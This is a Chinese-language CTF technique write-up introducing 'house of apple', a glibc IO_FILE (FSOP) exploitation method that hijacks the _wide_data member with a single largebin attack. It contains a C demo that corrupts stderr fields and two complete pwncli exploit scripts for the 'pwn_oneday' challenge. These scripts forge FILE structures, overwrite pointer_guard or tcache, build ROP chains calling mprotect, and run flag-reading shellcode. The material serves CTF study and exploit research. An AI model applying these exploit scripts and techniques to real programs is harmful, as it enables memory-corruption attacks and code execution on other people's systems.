House of apple 一種新的glibc中IO攻擊方法

2022-06-18 06:01:20

House of apple 一種新的glibc中IO攻擊方法

提出一種新的glibcIO利用思路,暫且命名為house of apple

前言

眾所周知,glibc高版本逐漸移除了__malloc_hook/__free_hook/__realloc_hook等等一眾hook全域性變數,ctfpwn題對hook勾點的利用將逐漸成為過去式。而想要在高版本利用成功,基本上就離不開對IO_FILE結構體的偽造與IO流的攻擊。之前很多師傅都提出了一些優秀的攻擊方法,比如house of pighouse of kiwihouse of emma等。

其中,house of pig除了需要劫持IO_FILE結構體,還需要劫持tcache_perthread_struct結構體或者能控制任意地址分配;house of kiwi則至少需要修改三個地方的值:_IO_helper_jumps + 0xA0_IO_helper_jumps + 0xA8,另外還要劫持_IO_file_jumps + 0x60處的_IO_file_sync指標;而house of emma則至少需要修改兩個地方的值,一個是tls結構體的point_guard(或者想辦法洩露出來),另外需要偽造一個IO_FILE或替換vtavlexxx_cookie_jumps的地址。

總的來看,如果想使用上述方法成功地攻擊IO,至少需要兩次寫或者一次寫和一次任意地址讀。而在只給一次任意地址寫(如一次largebin attack)的情景下是很難利用成功的。

largebin attack是高版本中為數不多的可以任意地址寫一個堆地址的方法,並常常和上述三種方法結合起來利用。本文將給出一種新的利用方法,在僅使用一次largebin attack並限制讀寫次數的條件下進行FSOP利用。順便說一下,house of banana 也只需要一次largebin attack,但是其攻擊的是rtld_global結構體,而不是IO流。

上述方法利用成功的前提均是已經洩露出libc地址和heap地址。本文的方法也不例外。

利用條件

使用house of apple的條件為:
1、程式從main函數返回或能呼叫exit函數
2、能洩露出heap地址和libc地址
3、 能使用一次largebin attack(一次即可)

利用原理

原理解釋均基於amd64程式。

當程式從main函數返回或者執行exit函數的時候,均會呼叫fcloseall函數,該呼叫鏈為:

  • exit
    • fcloseall

      • _IO_cleanup

        • _IO_flush_all_lockp
          • _IO_OVERFLOW

最後會遍歷_IO_list_all存放的每一個IO_FILE結構體,如果滿足條件的話,會呼叫每個結構體中vtable->_overflow函數指標指向的函數。

使用largebin attack可以劫持_IO_list_all變數,將其替換為偽造的IO_FILE結構體,而在此時,我們其實仍可以繼續利用某些IO流函數去修改其他地方的值。要想修改其他地方的值,就離不開_IO_FILE的一個成員_wide_data的利用。

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data; // 劫持這個變數
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

amd64程式下,struct _IO_wide_data *_wide_data_IO_FILE中的偏移為0xa0

amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'

我們在偽造_IO_FILE結構體的時候,偽造_wide_data變數,然後通過某些函數,比如_IO_wstrn_overflow就可以將已知地址空間上的某些值修改為一個已知值。

static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
  /* When we come to here this means the user supplied buffer is
     filled.  But since we must return the number of characters which
     would have been written in total we must provide a buffer for
     further use.  We can do this by writing on and on in the overflow
     buffer in the _IO_wstrnfile structure.  */
  _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

  if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
      _IO_wsetb (fp, snf->overflow_buf,
		 snf->overflow_buf + (sizeof (snf->overflow_buf)
				      / sizeof (wchar_t)), 0);

      fp->_wide_data->_IO_write_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
      fp->_wide_data->_IO_read_end = (snf->overflow_buf
				      + (sizeof (snf->overflow_buf)
					 / sizeof (wchar_t)));
    }

  fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
  fp->_wide_data->_IO_write_end = snf->overflow_buf;

  /* Since we are not really interested in storing the characters
     which do not fit in the buffer we simply ignore it.  */
  return c;
}

分析一下這個函數,首先將fp強轉為_IO_wstrnfile *指標,然後判斷fp->_wide_data->_IO_buf_base != snf->overflow_buf是否成立(一般肯定是成立的),如果成立則會對fp->_wide_data_IO_write_base_IO_read_base_IO_read_ptr_IO_read_end賦值為snf->overflow_buf或者與該地址一定範圍內偏移的值;最後對fp->_wide_data_IO_write_ptr_IO_write_end賦值。

也就是說,只要控制了fp->_wide_data,就可以控制從fp->_wide_data開始一定範圍內的記憶體的值,也就等同於任意地址寫已知地址

這裡有時候需要繞過_IO_wsetb函數裡面的free

void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
  if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
    free (f->_wide_data->_IO_buf_base); // 其不為0的時候不要執行到這裡
  f->_wide_data->_IO_buf_base = b;
  f->_wide_data->_IO_buf_end = eb;
  if (a)
    f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
  else
    f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}

_IO_wstrnfile涉及到的結構體如下:

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer_unused;
  _IO_free_type _free_buffer_unused;
};

struct _IO_streambuf
{
  FILE _f;
  const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

typedef struct
{
  _IO_strfile f;
  /* This is used for the characters which do not fit in the buffer
     provided by the user.  */
  char overflow_buf[64];
} _IO_strnfile;


typedef struct
{
  _IO_strfile f;
  /* This is used for the characters which do not fit in the buffer
     provided by the user.  */
  wchar_t overflow_buf[64]; // overflow_buf在這裡********
} _IO_wstrnfile;

其中,overflow_buf相對於_IO_FILE結構體的偏移為0xf0,在vtable後面。

struct _IO_wide_data結構體如下:

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};

換而言之,假如此時在堆上偽造一個_IO_FILE結構體並已知其地址為A,將A + 0xd8替換為_IO_wstrn_jumps地址,A + 0xc0設定為B,並設定其他成員以便能呼叫到_IO_OVERFLOWexit函數則會一路呼叫到_IO_wstrn_overflow函數,並將BB + 0x38的地址區域的內容都替換為A + 0xf0或者A + 0x1f0

簡單寫一個demo程式進行驗證:

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setvbuf(stderr, 0, 2, 0);
    puts("[*] allocate a 0x100 chunk");
    size_t *p1 = malloc(0xf0);
    size_t *tmp = p1;
    size_t old_value = 0x1122334455667788;
    for (size_t i = 0; i < 0x100 / 8; i++)
    {
        p1[i] = old_value;
    }
    puts("===========================old value=======================");
    for (size_t i = 0; i < 4; i++)
    {
        printf("[%p]: 0x%016lx  0x%016lx\n", tmp, tmp[0], tmp[1]);
        tmp += 2;
    }
    puts("===========================old value=======================");

    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t stderr_write_ptr_addr = puts_addr + 0x1997b8;
    printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
    size_t stderr_flags2_addr = puts_addr + 0x199804;
    printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
    size_t stderr_wide_data_addr = puts_addr + 0x199830;
    printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
    size_t sdterr_vtable_addr = puts_addr + 0x199868;
    printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
    size_t _IO_wstrn_jumps_addr = puts_addr + 0x194ed0;
    printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);

    puts("[+] step 1: change stderr->_IO_write_ptr to -1");
    *(size_t *)stderr_write_ptr_addr = (size_t)-1;

    puts("[+] step 2: change stderr->_flags2 to 8");
    *(size_t *)stderr_flags2_addr = 8;

    puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
    *(size_t *)stderr_wide_data_addr = (size_t)p1;

    puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
    *(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;

    puts("[+] step 5: call fcloseall and trigger house of apple");
    fcloseall();
    tmp = p1;
    puts("===========================new value=======================");
    for (size_t i = 0; i < 4; i++)
    {
        printf("[%p]: 0x%016lx  0x%016lx\n", tmp, tmp[0], tmp[1]);
        tmp += 2;
    }
    puts("===========================new value=======================");
}

輸出結果如下:

roderick@ee8b10ad26b9:~/hack$ gcc demo.c -o demo -g -w && ./demo
[*] allocate a 0x100 chunk
===========================old value=======================
[0x55cfb956d2a0]: 0x1122334455667788  0x1122334455667788
[0x55cfb956d2b0]: 0x1122334455667788  0x1122334455667788
[0x55cfb956d2c0]: 0x1122334455667788  0x1122334455667788
[0x55cfb956d2d0]: 0x1122334455667788  0x1122334455667788
===========================old value=======================
[*] puts address: 0x7f648b8a6ef0
[*] stderr->_IO_write_ptr address: 0x7f648ba406a8
[*] stderr->_flags2 address: 0x7f648ba406f4
[*] stderr->_wide_data address: 0x7f648ba40720
[*] stderr->vtable address: 0x7f648ba40758
[*] _IO_wstrn_jumps address: 0x7f648ba3bdc0
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x55cfb956d2a0]: 0x00007f648ba40770  0x00007f648ba40870
[0x55cfb956d2b0]: 0x00007f648ba40770  0x00007f648ba40770
[0x55cfb956d2c0]: 0x00007f648ba40770  0x00007f648ba40770
[0x55cfb956d2d0]: 0x00007f648ba40770  0x00007f648ba40870
===========================new value=======================

從輸出中可以看到,已經成功修改了sdterr->_wide_data所指向的地址空間的記憶體。

利用思路

從上面的分析可以,在只給了1largebin attack的前提下,能利用_IO_wstrn_overflow函數將任意地址空間上的值修改為一個已知地址,並且這個已知地址通常為堆地址。那麼,當我們偽造兩個甚至多個_IO_FILE結構體,並將這些結構體通過chain欄位串聯起來就能進行組合利用。基於此,我總結了house of apple下至少四種利用思路。

思路一:修改tcache執行緒變數

該思路需要藉助house of pig的思想,利用_IO_str_overflow中的malloc進行任意地址分配,memcpy進行任意地址覆蓋。其程式碼片段如下:

int
_IO_str_overflow (FILE *fp, int c)
{
  	  // ......
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base; // 賦值為old_buf
	  size_t old_blen = _IO_blen (fp);
	  size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf = malloc (new_size); // 這裡任意地址分配
	  if (new_buf == NULL)
	    {
	      /*	  __ferror(fp) = 1; */
	      return EOF;
	    }
	  if (old_buf)
	    {
	      memcpy (new_buf, old_buf, old_blen); // 劫持_IO_buf_base後即可任意地址寫任意值
	      free (old_buf);
      // .......
  }

利用步驟如下:

  • 偽造至少兩個_IO_FILE結構體
  • 第一個_IO_FILE結構體執行_IO_OVERFLOW的時候,利用_IO_wstrn_overflow函數修改tcache全域性變數為已知值,也就控制了tcache bin的分配
  • 第二個_IO_FILE結構體執行_IO_OVERFLOW的時候,利用_IO_str_overflow中的malloc函數任意地址分配,並使用memcpy使得能夠任意地址寫任意值
  • 利用兩次任意地址寫任意值修改pointer_guardIO_accept_foreign_vtables的值繞過_IO_vtable_check函數的檢測(或者利用一次任意地址寫任意值修改libc.got裡面的函數地址,很多IO流函數呼叫strlen/strcpy/memcpy/memset等都會調到libc.got裡面的函數)
  • 利用一個_IO_FILE,隨意偽造vtable劫持程式控制流即可

因為可以已經任意地址寫任意值了,所以這可以控制的變數和結構體非常多,也非常地靈活,需要結合具體的題目進行利用,比如題目中_IO_xxx_jumps對映的地址空間可寫的話直接修改其函數指標即可。

思路二:修改mp_結構體

該思路與上述思路差不多,不過對tcachebin分配的劫持是通過修改mp_.tcache_bins這個變數。打這個結構體的好處是在攻擊遠端時不需要爆破地址,因為執行緒全域性變數、tls結構體的地址本地和遠端並不一定是一樣的,有時需要爆破。

利用步驟如下:

  • 偽造至少兩個_IO_FILE結構體
  • 第一個_IO_FILE結構體執行_IO_OVERFLOW的時候,利用_IO_wstrn_overflow函數修改mp_.tcache_bins為很大的值,使得很大的chunk也通過tcachebin去管理
  • 接下來的過程與上面的思路是一樣的

思路三:修改pointer_guard執行緒變數之house of emma

該思路其實就是house of apple + house of emma

利用步驟如下:

  • 偽造兩個_IO_FILE結構體
  • 第一個_IO_FILE結構體執行_IO_OVERFLOW的時候,利用_IO_wstrn_overflow函數修改tls結構體pointer_guard的值為已知值
  • 第二個_IO_FILE結構體用來做house of emma利用即可控制程式執行流

思路四:修改global_max_fast全域性變數

這個思路也很靈活,修改掉這個變數後,直接釋放超大的chunk,去覆蓋掉point_guard或者tcache變數。我稱之為house of apple + house of corrision

利用過程與前面也基本是大同小異,就不在此詳述了。

其實也有其他的思路,比如還可以劫持main_arena,不過這個結構體利用起來會更復雜,所需要的空間將更大。而在上述思路的利用過程中,可以選擇錯位構造_IO_FILE結構體,只需要保證關鍵欄位滿足要求即可,這樣可以更加節省空間。

例題分析

這裡以某次市賽的題為例,題目為pwn_oneday,附件下載連結在這裡

這個題目禁止了execve系統呼叫,能分配的chunk的大小基本是固定的,並且只允許1次讀和1次寫,最多隻能分配0x10次,使用的glibc版本為2.34

題目分析

initial

首先是初始化,開啟了沙盒:

main

main函數必須選一個key,大小在6-10。也就是說,分配的chunk都會屬於largebin範圍。

add

限制了只能分配key+0x10key+0x202 * key + 0x10大小的chunk

dele

存在UAF,沒有清空指標。

read

只給1次機會讀。

write

只給一次機會寫,並只洩露出0x10個位元組的資料。

利用過程

這道題的限制還是很多的,當然,給的漏洞也很明顯。但是程式裡面沒有使用與IO有關的函數,全部使用原始的read/write去完成讀寫操作,並且使用glibc-2.34版本,這個版本里面去掉了很多的hook變數。

很明顯,需要使用一次讀洩露出libc地址和heap地址,然後用一次寫做一次largebin attack

如果用largebin attack去劫持_rtld_globallink_map成員,那麼還需要一次寫去繞過for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next),否則這裡會造成死迴圈;如果打l_addr成員,會發現能分配的堆的空間不足,l->l_info[DT_FINI_ARRAY]->d_un.d_ptr的值為0x201d70,而就算每次分配0xaa0 * 2 + 0x10,再分配16次也沒這麼大。至於劫持別的成員,受限於沙盒,也很難完成利用。

由於限制了讀寫次數為1次,就很難再洩露出pointer_guard的值,也很難再覆蓋pointer_guard的值,所以與pointer_guard有關的利用也基本行不通。

因此,選擇使用house of apple劫持_IO_FILE->_wide_data成員進行利用。

在利用之前,還有一些準備工作需要做。我們需要進行合理的堆風水佈局,使得能夠在修改一個largebin chunk Abk_nextsize的同時偽造一個chunk B,並需要讓AB在同一個bins陣列中,然後釋放B並進行largebin attack,這樣就能保證既完成任意地址寫堆地址,也能控制寫的堆地址所屬的chunk的內容。

對三種大小chunksize進行分析,並設x = key + 0x10y = key + 0x20, z = key * 2 + 0x10。那麼有:

2 * y - z = 2 * key + 0x40 - 2 * key - 0x10 = 0x30
2 * y - 2 * x = 2 *key + 0x40 - 2 * key - 0x20 = 0x20

題目中還存在UAF,於是就可以的構造出如下佈局:

堆風水步驟為:

  • 釋放chunk 1,並將其置於largebin
  • 利用一次寫的機會,修改chunk 2,此時修改了chunk1bk_nextsize,並偽造一個chunk 3
  • 釋放chunk 3,在其入鏈的過程中觸發largebin attack,即可任意地址寫一個堆地址

經過計算,這裡選擇key0xa,此時chunk 1的大小為0xab0,偽造的chunk 3的大小為0xa80

基於上面對house of apple的分析,首先使用思路三修改pointer_guard,然後進行house of emma利用。由於pointer_guardfs:[0x30],而canaryfs:[0x28],所以直接找canary,然後利用pwndbgsearch命令搜尋即可,如下所示:

此時的利用步驟如下:

  • 利用一次write的機會洩露出libc地址和heap地址

  • 利用堆風水,構造1largebin attack,替換_IO_list_all為堆地址

  • 利用house of apple,修改掉pointer_guard的值

  • 利用house of emma並結合幾個gadgets控制rsp

  • rop鏈輸出flag

exp如下:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

small = 1
medium = 2
large = 3
key = 10

def add(c):
    sla("enter your command: \n", "1")
    sla("choise: ", str(c))

def dele(i):
    sla("enter your command: \n", "2")
    sla("Index: \n", str(i))

def read_once(i, data):
    sla("enter your command: \n", "3")
    sla("Index: ", str(i))
    sa("Message: \n", flat(data, length=0x110 * key))

def write_once(i):
    sla("enter your command: \n", "4")
    sla("Index: ", str(i))
    ru("Message: \n")
    m = rn(0x10)
    d1 = u64_ex(m[:8])
    d2 = u64_ex(m[8:])
    log_address_ex("d1")
    log_address_ex("d2")
    return d1, d2

def bye():
    sla("enter your command: \n", "9")


sla("enter your key >>\n", str(key))

add(medium)
add(medium)
add(small)

dele(2)
dele(1)
dele(0)

add(small)
add(small)
add(small)
add(small)

dele(3)
dele(5)
m1, m2 = write_once(3)
libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
heap_base = m2 - 0x17f0

dele(4)
dele(6)

add(large)
add(small)
add(small)

dele(8)
add(large)

target_addr = libc.sym._IO_list_all
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_cookie_jumps = libc_base + 0x1f3ae0
_lock = libc_base + 0x1f5720
point_guard_addr = libc_base - 0x2890
expected = heap_base + 0x1900
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020

mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729

f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = point_guard_addr
f1.vtable = _IO_wstrn_jumps

f2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _lock 
f2._mode = 0
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58


data = flat({
    0x8: target_addr - 0x20,
    0x10: {
        0: {
            0: bytes(f1),
            0x100:{
                0: bytes(f2),
                0xe0: [chain + 0x100, rol(magic_gadget ^ expected, 0x11)],
                0x100: [
                    add_rsp_0x20_pop_rbx_ret,
                    chain + 0x100,
                    0,
                    0,
                    mov_rsp_rdx_ret,
                    0,
                    pop_rdi_ret,
                    chain & ~0xfff,
                    pop_rsi_ret,
                    0x4000,
                    pop_rdx_rbx_ret,
                    7, 0,
                    libc.sym.mprotect,
                    chain + 0x200
                ],
                0x200: ShellcodeMall.amd64.cat_flag
            }
        },
        0xa80: [0, 0xab1]
    }
})

read_once(5, data)

dele(2)
add(large)

bye()

ia()

ia()

偵錯截圖如下:

修改掉pointer_guard

然後使用_IO_cookie_read控制程式執行流:

成功劫持rsp

接下來使用思路一,修改tcache變數,對於該變數的尋找同樣可以使用search命令:

此時的步驟如下:

  • 使用house of apple修改tcache變數為可控堆地址
  • 使用_IO_str_overflow完成任意地址寫任意值,由於_IO_str_jumps區域是可寫的,所以我選擇覆蓋這裡
  • 仍然利用一些gadgets劫持rsp,然後rop洩露出flag

exp如下:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

small = 1
medium = 2
large = 3
key = 10

def add(c):
    sla("enter your command: \n", "1")
    sla("choise: ", str(c))

def dele(i):
    sla("enter your command: \n", "2")
    sla("Index: \n", str(i))

def read_once(i, data):
    sla("enter your command: \n", "3")
    sla("Index: ", str(i))
    sa("Message: \n", flat(data, length=0x110 * key))

def write_once(i):
    sla("enter your command: \n", "4")
    sla("Index: ", str(i))
    ru("Message: \n")
    m = rn(0x10)
    d1 = u64_ex(m[:8])
    d2 = u64_ex(m[8:])
    log_address_ex("d1")
    log_address_ex("d2")
    return d1, d2

def bye():
    sla("enter your command: \n", "9")


sla("enter your key >>\n", str(key))

add(medium) # 0
add(medium) # 1
add(small)  # 2 fake

dele(2)
dele(1)
dele(0)

add(small) # 3
add(small) # 4
add(small) # 5 write
add(small) # 6

dele(3)
dele(5)
m1, m2 = write_once(3)
libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
heap_base = m2 - 0x17f0

dele(4)
dele(6)

add(large)
add(small) # 8 del
add(small) # gap

dele(8)
add(large)

target_addr = libc.sym._IO_list_all
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_str_jumps = libc_base + 0x1f4620
_lock = libc_base + 0x1f5720
tcache = libc_base - 0x2908
tcache_perthread_struct = heap_base + 0x1a10
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020

mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729

f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = tcache - 0x38
f1.vtable = _IO_wstrn_jumps

f2 = IO_FILE_plus_struct()
f2.flags = 0
f2._IO_write_base = 0
f2._IO_write_ptr = 0x1000
f2.chain = chain + 0x200
f2._IO_buf_base = chain + 0xf0
f2._IO_buf_end = chain + 0xf0 + 0x20
f2._lock = _lock 
f2._mode = 0
f2.vtable = _IO_str_jumps

f3 = IO_FILE_plus_struct()
f3._IO_read_ptr = chain + 0x110
f3._IO_write_base = 0
f3._IO_write_ptr = 1
f3._lock = _lock 
f3._mode = 0
f3.vtable = _IO_str_jumps

data = flat({
    0x8: target_addr - 0x20,
    0x10: {
        0: {
            0: bytes(f1),
            0x100:{
                0: bytes(f2),
                0xe0: [0, 0x31, [magic_gadget] * 4],
                0x110: [
                    add_rsp_0x20_pop_rbx_ret,
                    0x21,
                    0,
                    0,
                    mov_rsp_rdx_ret,
                    0,
                    pop_rdi_ret,
                    chain & ~0xfff,
                    pop_rsi_ret,
                    0x4000,
                    pop_rdx_rbx_ret,
                    7, 0,
                    libc.sym.mprotect,
                    chain + 0x300
                ],
                0x1b8: _IO_str_jumps,
                0x200: bytes(f3),
                0x300: ShellcodeMall.amd64.cat_flag
            }
        },
        0xa80: [0, 0xab1]
    }
})

read_once(5, data)

dele(2)
add(large)

bye()

ia()

偵錯截圖:

修改掉tache變數:

然後分配到_IO_str_jumps

後面的過程就一樣了:

最後成功輸出flag:

總結

之前的一些IO流攻擊方法對_wide_data的關注甚少,本文提出一種新的方法,劫持了_wide_data成員並在僅進行1largebin attack的條件下成功進行FSOP利用。且該方法可通殺所有版本的glibc

可以看到,house of apple是對現有一些IO流攻擊方法的補充,能在一次劫持IO流的過程中做到任意地址寫已知值,進而構造出其他方法攻擊成功的條件。